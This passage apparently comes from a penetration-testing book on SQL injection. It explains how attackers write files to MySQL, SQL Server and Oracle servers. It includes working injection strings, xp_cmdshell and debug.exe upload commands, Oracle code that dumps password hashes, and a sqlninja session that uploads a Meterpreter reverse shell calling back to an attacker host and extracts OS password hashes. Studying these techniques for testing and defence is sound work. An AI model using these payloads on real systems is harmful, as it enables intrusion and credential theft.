Writing Files
Writing files to the
remote server is sometimes a bit of a throwback to the old days when an
attacker would drop a text file on the remote host to prove that he
“captured his flag.” Indeed, when so much value resides in the database
itself, it sometimes seems strange to see people obsess about breaking
out of the database. Writing files does, however, have its uses, and
often it serves as the springboard toward compromising the host itself
(which in turn serves as the beachhead for attacking the internal
network).
All of the common
RDBMSs have built-in functionality for writing files to the server file
system. These can be abused within SQL injection attacks to a lesser or
greater degree depending on the family type of the underlying system.
MySQL
The MySQL LOAD DATA INFILE file-reading command demonstrated earlier has its perfect counterpart in the file-writing world in the form of the select into outfile (dumpfile) command. This command allows the results of a select statement to be written to a world-readable file owned by the owner of the MySQL process (dumpfile allows for binary file writing). For example:
mysql> select 'This is a test' into outfile '/tmp/test.txt';
Query OK, 1 row affected (0.00 sec)
This creates (as expected) the following test.txt file in the /tmp directory:
$ cat test.txt
This is a test
Doing this via an injection is fairly trivial. In Figure 16, we go back to our intranet MySQL application, and this time we try to write SensePost 2008 to the /tmp/sp.txt file.
We use the following search string:
aaa' union select NULL,'SensePost 2008\n' into dumpfile '/tmp/sp.txt'#
We first use the search term aaa because we don't want actual results to be returned and mess up our outfile. We then use NULL to match the number of columns for the union to work. We use dumpfile (allowing a binary file to be output) instead of outfile, so we have to supply the \n we need for the line to be terminated as normal.
As expected, this creates sp.txt file in the /tmp directory:
$ cat sp.txt
SensePost 2008
When reading binary files from the file system we used MySQL's built-in HEX
function, so it makes perfect sense that when trying to write binary to
the file system we would do the reverse. We therefore use the MySQL
built-in function, UNHEX( ):
mysql> select UNHEX('53656E7365506F7374203038');
+------------------------------------------------+
| UNHEX('53656E7365506F7374203038') |
+------------------------------------------------+
| SensePost 08 |
+------------------------------------------------+
1 row in set (0.00 sec)
With this
combination, we are effectively primed to write any kind of file,
anywhere on the file system (without the ability to overwrite existing
files [and keeping in mind that the file will be world-writable]).
Before a brief discussion on what you can do with the ability to write
any file anywhere, it is probably worth it to see what happened to www.apache.org when attackers gave themselves the same capability.
The pranksters highlighted
in the preceding sidebar did not use SQL injection, but demonstrated
the possibilities available to attackers once they have access to the
SQL server.
With the ability to create
files on the server, one other possibility bears discussing: the thought
of creating a user-defined function (UDF) on the remote host. In his
excellent paper “HackProofing MySQL,” NGS Software's Chris Anley documented how to create a UDF to effectively create a MySQL xp_cmdshell
equivalent. Essentially, adding a UDF (according to the MySQL manual)
requires simply that your UDF is compiled as an object file which is
then added and removed from the server using the CREATE FUNCTION and DROP FUNCTION statements.
Microsoft SQL Server
You can use the aforementioned scripting.filesystem
object method of reading files just as effectively to write files to
the file system. Anley's paper again demonstrates the method shown in Figure 17.
Although we used
this technique for writing binary files too, it is reported that some
code pages may have errors with this technique. In such cases, you can
use an object other than the filesystemobject, such as ADODB.Stream.
Microsoft
SQL Server also provides the ability to create a file from a data
source with the Bulk Copy Program (BCP) which ships with SQL Server:
C:\temp>bcp "select name from sysobjects" queryout testout.txt -c -S
127.0.0.1 -U sa -P""
Starting copy…
1000 rows successfully bulk-copied to host-file. Total received: 1000
1311 rows copied.
Network packet size (bytes): 4096
Clock Time (ms.): total 16
Many of the historic documents on SQL injection attacks will use bcp or xp_cmdshell for file creation. Many of the SQL injection tools use the well-known xp_cmdshell
procedure to facilitate file uploads through SQL Server. In its
simplest form, text files are created using the >> redirect
operators:
exec xp_cmdshell 'echo This is a test > c:\temp\test.txt'
exec xp_cmdshell 'echo This is line 2 >> c:\temp\test.txt'
exec xp_cmdshell 'echo This is line 3 >> c:\temp\test.txt'
An old trick that
sprung to fame without a discernable originator is to create a debug.exe
script file which can be passed to debug.exe to convert into a binary:
C:\temp>debug < demo.scr
-n demo.com
-e 0000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
-e 0010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
-e 0040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
-e 0050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F
-e 0060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20
-e 0070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00
...
-rcx
CX 0000
:4200
-w 0
Writing 04200 bytes
-q
C:\temp>dir demo*
2008/12/27 03:18p 16,896 demo.com
2005/11/21 11:08a 61,280 demo.scr
One
of the limitations of using this method is that debug.exe can only
build executables smaller than 64KB in size. This does not prove to be a
huge hindrance when you ponder that a fully working bind shell can be
squeezed into fewer than 200 bytes. However, if you really need to use
this technique to upload a larger file, you can split it into chunks,
each one 64KB bytes long, separately upload them, and “glue” them
together with the DOS copy command:
copy /b chunk-1.exe_ + chunk-2.exe_ + … + chunk-n.exe original-file.exe
If you were building the executable using debug, you would probably have combined it with the copy
command anyway, since debug.exe is built to build .com files. Most
automated tools simply rename the created .com file to .exe after it has
been built.
A few tools
allow you to upload executable files using debug.exe. If you use
Windows, you can try the Automagic SQL Injector from Sec-1 Ltd. (www.sec-1.com).
It includes a helper script to first convert a binary to its .scr
equivalent, and then to facilitate the remote creation of the .scr file
through echo commands. Automagic also includes a courtesy reverse User
Datagram Protocol (UDP) shell and a port scanner (fscan.exe).
On the other hand, if your box has a UNIX-like operating system, you can use sqlninja (http://sqlninja.sourceforge.net) to do the job. Here is list of its features:
Fingerprint of the remote database server (version, user performing the queries, privileges, authentication mode)
Brute-force of the system administrator password, if mixed authentication is enabled
Upload of executables
Direct and reverse shell, both TCP- and UDP-based
DNS tunneled shell, when no direct connection is possible
Evasion
techniques, to reduce the chance of being detected by intrusion
detection system/intrusion prevention system (IDS/IPS) and Web
application firewalls
Sqlninja also integrates with Metasploit (www.metasploit.com).
If you have obtained administrative privileges on the remote database
and there is at least one open TCP port that you can use for a
connection (either direct or reverse), you can exploit the SQL injection
vulnerability to inject a Metasploit payload, such as Meterpreter (a
sort of high-powered command-line interface), or a VNC dynamic link
library (DLL) to obtain graphical access to the remote database server! A
flash demo of the VNC injection is available on the official sqlninja
site, and in the following code snippet you can see an example of a
successful exploitation that leads to the extraction of the password
hashes of the remote server (the operating system ones, not the SQL
Server one). I have reduced the output for brevity, and the comments are
in bold at the right of the relevant lines.
root@nightblade ~ # ./sqlninja -m metasploit
Sqlninja rel. 0.2.3-r1
Copyright (C) 2006-2008 icesurfer <[email protected]>
[+] Parsing configuration file..............
[+] Evasion technique(s):
- query hex-encoding
- comments as separator
[+] Target is: www.victim.com
[+] Which payload you want to use?
1: Meterpreter
2: VNC
> 1 <--- we select the Meterpreter payload
[+] Which type of connection you want to use?
1: bind_tcp
2: reverse_tcp
> 2 <--- we use a reverse shell on port 443
[+] Enter local port number
> 443
[+] Calling msfpayload3 to create the payload ...
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 177
Options: exitfunc=process,lport=12345,lhost=192.168.217.128
[+] Payload (met13322.exe) created. Now converting it to debug script
[+] Uploading /tmp/met13322.scr debug script… <--- we upload the payload
103/103 lines written
done !
[+] Converting script to executable… might take a while
<snip>
[*] Uploading DLL (81931 bytes)…
[*] Upload completed.
[*] Meterpreter session 1 opened (www.attacker.com:12345 ->
www.victim.com:1343) <--- the payload was uploaded and started
meterpreter > use priv <--- we load the priv extension of meterpreter
Loading extension priv…success.
meterpreter > hashdump <--- and finally extract the hashes
Administrator:500:aad3b435b51404eeafd3b435b51404ee:31d6cfe0d16ae938b73c
59d7e0c089c0:::
ASPNET:1007:89a3b1d42d454211799cfd17ecee0570:e3200ed357d74e5d782ae8d60a296f52:::
Guest:501:aad3b435b51104eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d770c089c0:::
IUSR_VICTIM:1001:491c44543256d2c8c50be094a8ddd267:5681649752a67d765775f
c6069b50920:::
IWAM_VICTIM:1002:c18ec1192d26469f857a45dda7dfae11:c3dab0ad3710e208b479e
ca14aa43447:::
TsInternetUser:1000:03bd869c8694066f405a502d17e12a7c:73d8d060fedd690498
311bab5754c968:::
meterpreter >
Bingo! The preceding
code would give you interactive access on the remote database server
with which you have extracted the operating system password hashes.
SQL Server 2005 CLR
integration gives you a way to compile much more complex binaries on the
remote system, but it also gives you the guarantee that the remote
system has a .NET runtime and also, by default, will have a .NET
compiler. (Microsoft bundles the csc.exe command-line compiler in the
%windir%\Microsoft.NET\Framework\VerXX\ directory.) This means that
using the same technique, you can create a source file line by line and
call the csc.exe compiler to build it for you with no restrictions, as
demonstrated in Figure 18.
The example in Figure 6.18
creates a simple .NET source file and then calls on csc.exe to compile
the file as a DLL in the c:\temp directory on the SQL server. Even if
the remote server used a different directory naming scheme, an
enterprising attacker would be able to use csc.exe by running it out of
the perfectly predictable DLL cache, %windir%\system32\dllcache\csc.exe.
Oracle
Again, various possibilities exist to create files in Oracle. The following methods are available:
Since Oracle 9i, utl_file
can write binary code on the file system. The following sample code
creates a binary file, hello.com, on the C: drive or the appropriate
UNIX path of the database server:
Create or replace directory EXT AS 'C:\';
DECLARE fi UTL_FILE.FILE_TYPE;
bu RAW(32767);
BEGIN
bu:=hextoraw('BF3B01BB8100021E8000B88200882780FB81750288D850E8060083C40
2CD20C35589E5B80100508D451A50B80F00508D5D00FFD383C40689EC5DC3558BEC8B5E
088B4E048B5606B80040CD21730231C08BE55DC39048656C6C6F2C20576F726C64210D0A');
fi:=UTL_FILE.fopen('EXT','hello.com','w',32767);
UTL_FILE.put_raw(fi,bu,TRUE);
UTL_FILE.fclose(fi);
END;
/
DBMS_ADVISOR is probably the shortest way to create files:
create directory EXT as 'C:\';
exec SYS.DBMS_ADVISOR.CREATE_FILE ( 'first row', 'EXT', 'victim.txt' );
Since Oracle 10g, it is possible to create a file containing all usernames plus their passwords using external tables:
create directory EXT as 'C:\';
CREATE TABLE ext_write (
myline)
ORGANIZATION EXTERNAL
(TYPE oracle_datapump
DEFAULT DIRECTORY EXT
LOCATION ('victim3.txt'))
PARALLEL
AS
SELECT 'I was here' from dual UNION SELECT name||'='||password from sys.user$;
You can find Java sample code on Marco Ivaldi's Web page, at www.0xdeadbeef.info/exploits/raptor_oraexec.sql.